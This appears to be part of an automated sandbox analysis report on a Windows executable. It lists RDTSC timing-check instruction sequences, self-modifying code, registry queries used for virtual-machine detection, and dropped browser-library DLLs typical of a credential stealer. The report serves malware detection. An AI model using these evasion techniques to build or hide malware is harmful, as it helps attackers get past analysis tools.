Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DFDF second address: A2DFE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DFE3 second address: A2DFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DFE9 second address: A2DFEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DFEF second address: A2E00D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F8702h 0x00000007 jbe 00007FA1A50F86FEh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E2D0 second address: A2E2E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA1A50FC13Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E2E9 second address: A2E2FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA1A50F86FFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E458 second address: A2E47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 ja 00007FA1A50FC146h 0x0000000d jbe 00007FA1A50FC13Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E6EA second address: A2E70D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA1A50F870Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E70D second address: A2E72E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50FC148h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E72E second address: A2E734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A361E9 second address: A361F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A361F2 second address: A361FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D90B second address: 97D914 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D914 second address: 97D91A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D91A second address: 97D964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 jne 00007FA1A50FC136h 0x0000000e jmp 00007FA1A50FC140h 0x00000013 push esi 0x00000014 pop esi 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 jmp 00007FA1A50FC13Fh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA1A50FC146h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D964 second address: 97D973 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F86FBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C398 second address: A3C39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C987 second address: A3C9C9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA1A50F86F6h 0x00000008 jmp 00007FA1A50F8703h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA1A50F8705h 0x00000016 jmp 00007FA1A50F86FEh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CAE7 second address: A3CAEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CC4E second address: A3CC54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CC54 second address: A3CC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CC5A second address: A3CC60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CC60 second address: A3CC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CC68 second address: A3CC74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA1A50F86F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CC74 second address: A3CC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CC7A second address: A3CC9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA1A50F8707h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CC9B second address: A3CC9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CC9F second address: A3CCAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA1A50F86F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CCAB second address: A3CCB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007FA1A50FC136h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CCB7 second address: A3CCBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D26B second address: A3D277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D277 second address: A3D27B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D27B second address: A3D28E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50FC13Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D28E second address: A3D294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D294 second address: A3D29A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BED7 second address: A3BF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA1A50F8705h 0x00000009 jnp 00007FA1A50F86F6h 0x0000000f jnp 00007FA1A50F86F6h 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43DAE second address: A43DDB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FA1A50FC13Ah 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007FA1A50FC142h 0x00000019 push esi 0x0000001a jp 00007FA1A50FC136h 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A437A5 second address: A437AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A437AB second address: A437EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push edx 0x00000007 jmp 00007FA1A50FC148h 0x0000000c pop edx 0x0000000d jmp 00007FA1A50FC13Fh 0x00000012 jng 00007FA1A50FC138h 0x00000018 pushad 0x00000019 popad 0x0000001a jl 00007FA1A50FC13Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43907 second address: A43941 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F86FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA1A50F8709h 0x00000011 jmp 00007FA1A50F86FEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43941 second address: A4394B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA1A50FC136h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4394B second address: A43955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43955 second address: A4395B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43AC0 second address: A43ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43ACC second address: A43AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5565B second address: A55691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007FA1A50F86F8h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA1A50F86FEh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA1A50F8704h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55691 second address: A55695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55695 second address: A5569B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5569B second address: A556A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A62195 second address: A6219C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A697F9 second address: A69853 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50FC13Ch 0x00000007 jnp 00007FA1A50FC153h 0x0000000d jmp 00007FA1A50FC147h 0x00000012 jng 00007FA1A50FC136h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FA1A50FC13Ch 0x00000021 jmp 00007FA1A50FC149h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69853 second address: A6986D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FA1A50F86FCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68008 second address: A68013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6859D second address: A685AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA1A50F86F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A685AC second address: A685B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A685B0 second address: A685B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A685B4 second address: A685BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A685BA second address: A685C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6870A second address: A6870E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6884C second address: A6885F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F86FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6885F second address: A68867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68867 second address: A6886B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69447 second address: A6944D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6944D second address: A69455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69455 second address: A6945F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA1A50FC136h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6945F second address: A69496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FA1A50F86FDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FA1A50F8706h 0x00000010 jg 00007FA1A50F8702h 0x00000016 ja 00007FA1A50F86F6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E2D0 second address: A6E304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FA1A50FC142h 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 jmp 00007FA1A50FC142h 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E464 second address: A6E48C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F8706h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA1A50F86FCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89D6E second address: A89D73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89A8F second address: A89A99 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA1A50F86F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CFBA second address: A8CFBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CFBE second address: A8CFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA1A50F86FCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BDA3 second address: A9BDCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jbe 00007FA1A50FC13Ch 0x0000000d jo 00007FA1A50FC136h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA1A50FC144h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9ACD1 second address: A9ACD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9ACD9 second address: A9ACDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B277 second address: A9B28C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA1A50F8700h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B28C second address: A9B291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B80B second address: A9B81C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA1A50F86FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B81C second address: A9B821 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BAD3 second address: A9BAD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BAD9 second address: A9BAE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FA1A50FC136h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D4E6 second address: A9D4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D4EC second address: A9D4F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D4F0 second address: A9D4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA1A50F86F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA01F5 second address: AA01FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA01FC second address: AA0202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1DC7 second address: AA1DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA1A50FC136h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA37C8 second address: AA37E4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA1A50F86F6h 0x00000008 jmp 00007FA1A50F86FFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA37E4 second address: AA3807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FA1A50FC13Ah 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e push esi 0x0000000f jmp 00007FA1A50FC13Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50219 second address: 4C5021F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5021F second address: 4C50223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7021 second address: 9C7047 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA1A50F8707h 0x00000008 jmp 00007FA1A50F8701h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 jnc 00007FA1A50F86F6h 0x00000019 pop ecx 0x0000001a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 811AA4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9BB4CF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8119FF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A48CD8 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

